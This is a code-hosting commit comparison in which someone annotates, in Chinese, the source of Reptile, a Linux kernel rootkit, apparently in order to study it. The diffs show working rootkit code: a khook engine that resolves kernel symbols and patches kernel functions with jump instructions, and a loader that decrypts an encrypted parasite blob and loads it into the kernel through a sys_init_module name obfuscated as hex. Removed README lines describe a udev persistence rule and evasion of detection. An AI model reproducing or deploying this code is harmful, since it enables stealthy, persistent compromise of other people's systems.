Compare commits

..

2 Commits

Author SHA1 Message Date
waiwai 0b5f28d2b0 zrs 11.20 label
5 days ago
waiwai 14e548cace add read.docx
1 month ago

@ -0,0 +1,3 @@
{
"Codegeex.RepoIndex": true
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 303 KiB

@ -1,91 +1,2 @@
# reptile
# **scripts 目录**
* kconfig目录这里只列举核心文件的功能
* lxdialog目录
* .pc目录
* patches目录
* check.sh
* 用于检查系统是否支持国际化gettext功能
* conf.c、confdata.c、config.sh、mconf.c、nconf.c等
* 用于配置管理,构建系统或内核配置
* expr.c
* 用于处理配置表达式的C语言程序
* gconf.c
* 基于GTK+的图形化配置工具gkc用于管理和配置Linux内核或其他类似项目的配置选项
* image.c
* 定义了一系列的XPMX PixMap图像数据主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储图像的数据格式是以文本形式表示的像素颜色和形状。
* kxgettext.c
* 实现了一个用于国际化i18n支持的消息处理系统主要功能包括创建、查找、存储和打印消息处理消息的转义和格式化以适应多语言环境的需求。
* menu.c
* 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示
* util.c
* 提供了有效的内存管理和字符串处理功能
* merge\_config.sh核心
* 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。
* 存放补丁代码
* 总的来说kconfig用来配置内核它就是各种配置界面的源文件内核的配置工具读取各个kconfig文件生成配置界面供开发人员配置内核最后生成配置文件.config
* lib目录
* Unescape.pm文件
* 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。
* bashrc
* 设置交互式 shell 的环境
* 配置终端设置、颜色提示以及对 ls、grep 等命令的别名
* 包括检查以确保用户不是 root暗示该项目设计为非特权操作以避免被检测。
* destringify.pl Perl 脚本)
* 用于处理输入以反转义字符串并将其翻译为类似 C 的语法
* 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段
* 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作
* installer.sh
* 负责安装 Reptile 项目,创建目录并复制必要的文件
* random.sh
* 生成两个随机的十六进制数4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中
* rule
* 内容ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile"
* 这条 udev 规则的功能是:当一个主设备号为 1次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。
* start
* 全文被注释

@ -3,151 +3,200 @@
static khook_stub_t *khook_stub_tbl = NULL;
////////////////////////////////////////////////////////////////////////////////
/*
* callback function
* dataname
* dataaddr1
* 0
*/
static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
{
int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) return !!(data[1] = addr);
} return 0;
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) return !!(data[1] = addr); // 找到匹配的符号设置地址并返回1
}
return 0; // 未找到匹配的符号返回0
}
/*
* kallsyms_on_each_symbol
* data[0]
* data[1]
* kernel all symbols
*/
static void *khook_lookup_name(const char *name)
{
long data[2] = { (long)name, 0 };
kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
return (void *)data[1];
long data[2] = { (long)name, 0 };
kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
return (void *)data[1]; // 返回找到的符号地址
}
/*
* [addr, addr + len]
*/
static void *khook_map_writable(void *addr, size_t len)
{
struct page *pages[2] = { 0 }; // len << PAGE_SIZE
long page_offset = offset_in_page(addr);
int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE);
addr = (void *)((long)addr & PAGE_MASK);
for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) {
if ((pages[i] = is_vmalloc_addr(addr) ?
vmalloc_to_page(addr) : virt_to_page(addr)) == NULL)
return NULL;
}
addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL);
return addr ? addr + page_offset : NULL;
struct page *pages[2] = { 0 }; // len << PAGE_SIZE
long page_offset = offset_in_page(addr);
int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE);
addr = (void *)((long)addr & PAGE_MASK); // 对齐地址到页面边界
for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) {
if ((pages[i] = is_vmalloc_addr(addr) ?
vmalloc_to_page(addr) : virt_to_page(addr)) == NULL)
return NULL; // 如果无法获取页面返回NULL
}
addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL); // 映射页面到内核地址空间
return addr ? addr + page_offset : NULL; // 返回映射后的地址
}
////////////////////////////////////////////////////////////////////////////////
#ifdef CONFIG_X86
# include "x86/hook.c"
# include "x86/hook.c" // 包含x86架构相关的钩子实现
#else
# error Target CPU architecture is NOT supported !!!
# error Target CPU architecture is NOT supported !!! // 不支持的CPU架构
#endif
////////////////////////////////////////////////////////////////////////////////
/*
*
*/
static void khook_wakeup(void)
{
struct task_struct *p;
rcu_read_lock();
for_each_process(p) {
wake_up_process(p);
}
rcu_read_unlock();
struct task_struct *p;
rcu_read_lock();
for_each_process(p) {
wake_up_process(p); // 唤醒进程
}
rcu_read_unlock();
}
/*
*
*/
static int khook_sm_init_hooks(void *arg)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_init_one(p);
}
return 0;
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_init_one(p); // 初始化单个钩子
}
return 0;
}
/*
*
*/
static int khook_sm_cleanup_hooks(void *arg)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_cleanup_one(p);
}
return 0;
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_cleanup_one(p); // 清理单个钩子
}
return 0;
}
/*
*
*/
static void khook_resolve(void)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
p->target.addr = khook_lookup_name(p->target.name);
}
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
p->target.addr = khook_lookup_name(p->target.name); // 查找符号地址
}
}
/*
*
*/
static void khook_map(void)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr) continue;
p->target.addr_map = khook_map_writable(p->target.addr, 32);
khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map);
}
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr) continue;
p->target.addr_map = khook_map_writable(p->target.addr, 32); // 映射地址
khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map);
}
}
/*
*
*/
static void khook_unmap(int wait)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
khook_stub_t *stub = KHOOK_STUB(p);
if (!p->target.addr_map) continue;
while (wait && atomic_read(&stub->use_count) > 0) {
khook_wakeup();
msleep_interruptible(1000);
khook_debug("waiting for %s...\n", p->target.name);
}
vunmap((void *)((long)p->target.addr_map & PAGE_MASK));
p->target.addr_map = NULL;
}
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
khook_stub_t *stub = KHOOK_STUB(p);
if (!p->target.addr_map) continue;
while (wait && atomic_read(&stub->use_count) > 0) {
khook_wakeup(); // 唤醒进程
msleep_interruptible(1000); // 休眠1秒
khook_debug("waiting for %s...\n", p->target.name);
}
vunmap((void *)((long)p->target.addr_map & PAGE_MASK)); // 取消映射
p->target.addr_map = NULL;
}
}
////////////////////////////////////////////////////////////////////////////////
/* khook_init()和khook_cleanup()对挂钩引擎进行初始化和注销 */
/*
*
* 1. mallocstub
* 2. khook_resolve
* 3.
* 4. stop_machine
*/
int khook_init(void)
{
void *(*malloc)(long size) = NULL;
int (*set_memory_x)(unsigned long, int) = NULL;
void *(*malloc)(long size) = NULL;
int (*set_memory_x)(unsigned long, int) = NULL;
malloc = khook_lookup_name("module_alloc");
if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL;
malloc = khook_lookup_name("module_alloc");
if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL;
khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE);
if (!khook_stub_tbl) return -ENOMEM;
memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE);
khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE);
if (!khook_stub_tbl) return -ENOMEM;
memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE);
//
// Since some point memory allocated by module_alloc() doesn't
// have eXecutable attributes. That's why we have to mark the
// region executable explicitly.
//
//
// Since some point memory allocated by module_alloc() doesn't
// have eXecutable attributes. That's why we have to mark the
// region executable explicitly.
//
set_memory_x = khook_lookup_name("set_memory_x");
if (set_memory_x) {
int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
set_memory_x((unsigned long)khook_stub_tbl, numpages);
}
set_memory_x = khook_lookup_name("set_memory_x");
if (set_memory_x) {
int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
set_memory_x((unsigned long)khook_stub_tbl, numpages);
}
khook_resolve();
khook_resolve(); // 解析符号表
khook_map();
stop_machine(khook_sm_init_hooks, NULL, NULL);
khook_unmap(0);
khook_map(); // 映射地址
stop_machine(khook_sm_init_hooks, NULL, NULL); // 初始化钩子
khook_unmap(0); // 取消映射
return 0;
return 0;
}
/*
*
* 1.
* 2. stop_machine
* 3.
* 4.
*/
void khook_cleanup(void)
{
khook_map();
stop_machine(khook_sm_cleanup_hooks, NULL, NULL);
khook_unmap(1);
vfree(khook_stub_tbl);
khook_map(); // 映射地址
stop_machine(khook_sm_cleanup_hooks, NULL, NULL); // 清理钩子
khook_unmap(1); // 取消映射
vfree(khook_stub_tbl); // 释放内存
}

@ -4,6 +4,15 @@
#define KHOOK_F_NOREF (1UL << 0) // don't do auto ref-count
/*
*
* fn
* name
* addr
* addr_map
* orig
*/
typedef struct {
void *fn; // handler fn address
struct {
@ -15,6 +24,13 @@ typedef struct {
unsigned long flags; // hook engine options (flags)
} khook_t;
/*
* funfunkhook_fun
*
* __attribute__((unused)
* __attribute__((aligned(1)))
* __attribute__((section(".data.khook"))).data.khook
*/
#define KHOOK_(t, f) \
static inline typeof(t) khook_##t; /* forward decl */ \
khook_t \

@ -6,3 +6,8 @@ SECTIONS
KHOOK_tbl_end = . ;
}
}
In engine.c, all hooks are allocated to the .data.khook section.
The above script means that all contents of .data.khook are placed in the .data section.
The '.' character represents the current location counter, so KHOOK_tbl points to the beginning of .data.khook, and KHOOK_tbl_end points to the end of KHOOK_tbl_end.
These two variables represent the start and end addresses of the hook table, KHOOK_tbl and KHOOK_tbl_end.

@ -20,6 +20,11 @@ extern khook_t KHOOK_tbl_end[];
#define KHOOK_FOREACH_HOOK(p) \
for (p = KHOOK_tbl; p < KHOOK_tbl_end; p++)
/*
* STUB
* STUBstub.incstub32.incstub
*
*/
typedef struct {
#pragma pack(push, 1)
union {

@ -6,11 +6,19 @@
#include <asm/insn.h>
/*
* typeof GCC
*
*
*/
static struct {
typeof(insn_init) *init;
typeof(insn_get_length) *get_length;
} khook_arch_lde;
/*
* insn_init insn_get_length
*/
static inline int khook_arch_lde_init(void) {
khook_arch_lde.init = khook_lookup_name("insn_init");
if (!khook_arch_lde.init) return -EINVAL;
@ -19,6 +27,11 @@ static inline int khook_arch_lde_init(void) {
return 0;
}
/*
* p
* insn_initinsn
* get_lengthinsnlength
*/
static inline int khook_arch_lde_get_length(const void *p) {
struct insn insn;
int x86_64 = 0;
@ -39,8 +52,8 @@ static inline int khook_arch_lde_get_length(const void *p) {
// place a jump at addr @a from addr @f to addr @t
static inline void x86_put_jmp(void *a, void *f, void *t)
{
*((char *)(a + 0)) = 0xE9;
*(( int *)(a + 1)) = (long)(t - (f + 5));
*((char *)(a + 0)) = 0xE9; //跳转指令的Opcode
*(( int *)(a + 1)) = (long)(t - (f + 5)); //偏移计算
}
static const char khook_stub_template[] = {
@ -52,20 +65,26 @@ static inline void stub_fixup(void *stub, const void *value) {
*(long *)stub = (long)value;
}
/*
*
* 使
* 便
*/
static inline void khook_arch_sm_init_one(khook_t *hook) {
khook_stub_t *stub = KHOOK_STUB(hook);
// 跳转指令的第一个字节是0xE9或0xCC表示已经被hook过了
if (hook->target.addr[0] == (char)0xE9 ||
hook->target.addr[0] == (char)0xCC) return;
BUILD_BUG_ON(sizeof(khook_stub_template) > offsetof(khook_stub_t, nbytes));
memcpy(stub, khook_stub_template, sizeof(khook_stub_template));
memcpy(stub, khook_stub_template, sizeof(khook_stub_template)); // 拷贝模板到stub中
stub_fixup(stub->hook, hook->fn);
while (stub->nbytes < 5)
stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes);
memcpy(stub->orig, hook->target.addr, stub->nbytes);
x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes);
memcpy(stub->orig, hook->target.addr, stub->nbytes); // 拷贝hook原函数到stub的orig中
x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes); // 设置跳转
if (hook->flags & KHOOK_F_NOREF) {
x86_put_jmp(hook->target.addr_map, hook->target.addr, hook->fn);
} else {
@ -74,6 +93,10 @@ static inline void khook_arch_sm_init_one(khook_t *hook) {
hook->orig = stub->orig; // the only link from hook to stub
}
/*
*
*
*/
static inline void khook_arch_sm_cleanup_one(khook_t *hook) {
khook_stub_t *stub = KHOOK_STUB(hook);
memcpy(hook->target.addr_map, stub->orig, stub->nbytes);

@ -9,76 +9,92 @@
#include "encrypt.h"
// 定义 SYS_INIT_MODULE 宏,用于生成 "sys_init_module" 字符串
#define SYS_INIT_MODULE \
({ \
unsigned int *p = __builtin_alloca(16); \
p[0] = 0x5f737973; \
p[1] = 0x74696e69; \
p[2] = 0x646f6d5f; \
p[3] = 0x00656c75; \
(char *)p; \
})
({ \
unsigned int *p = __builtin_alloca(16); \
p[0] = 0x5f737973; \
p[1] = 0x74696e69; \
p[2] = 0x646f6d5f; \
p[3] = 0x00656c75; \
(char *)p; \
})
// 定义 __DO_SYS_INIT_MODULE 宏,用于生成 "__do_sys_init_module" 字符串
#define __DO_SYS_INIT_MODULE \
({ \
unsigned int *p = __builtin_alloca(24); \
p[0] = 0x6f645f5f; \
p[1] = 0x7379735f; \
p[2] = 0x696e695f; \
p[3] = 0x6f6d5f74; \
p[4] = 0x656c7564; \
p[5] = 0x00000000; \
(char *)p; \
})
({ \
unsigned int *p = __builtin_alloca(24); \
p[0] = 0x6f645f5f; \
p[1] = 0x7379735f; \
p[2] = 0x696e695f; \
p[3] = 0x6f6d5f74; \
p[4] = 0x656c7564; \
p[5] = 0x00000000; \
(char *)p; \
})
// 包含 parasite_blob.inc 文件中的数据
static char parasite_blob[] = {
#include "parasite_blob.inc"
};
// 内核符号表查找函数的回调函数
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
unsigned long addr)
unsigned long addr)
{
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++])
return !!(data[1] = addr);
}
return 0;
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++])
return !!(data[1] = addr); // 找到匹配的符号设置地址并返回1
}
return 0; // 未找到匹配的符号返回0
}
// 查找符号表中的符号地址
static inline unsigned long ksym_lookup_name(const char *name)
{
unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
return data[1];
unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 实现在khook/engine.c中
return data[1]; // 返回找到的符号地址
}
/*
* init_modulesys_init_module
* ksym_lookup_name
*/
int init_module(void)
{
int ret = -EINVAL;
asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL;
int ret = -EINVAL;
asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL;
do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY);
// 解密 parasite_blob 数据
do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY);
sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE);
// 查找 sys_init_module 函数的地址
sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE);
if (!sys_init_module)
sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE);
if (!sys_init_module)
sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE);
if (sys_init_module) {
const char *nullarg = parasite_blob;
unsigned long seg = user_addr_max();
if (sys_init_module) {
const char *nullarg = parasite_blob;
unsigned long seg = user_addr_max();
while (*nullarg)
nullarg++;
// 找到 parasite_blob 中的空字符
while (*nullarg)
nullarg++;
user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha
user_addr_max() = seg;
}
// 设置用户地址空间的最大值
user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha
user_addr_max() = seg; // 恢复用户地址空间的最大值
}
return ret;
return ret;
}
/*
*
*/
MODULE_LICENSE("GPL");
MODULE_INFO(intree, "Y");
Loading…
Cancel
Save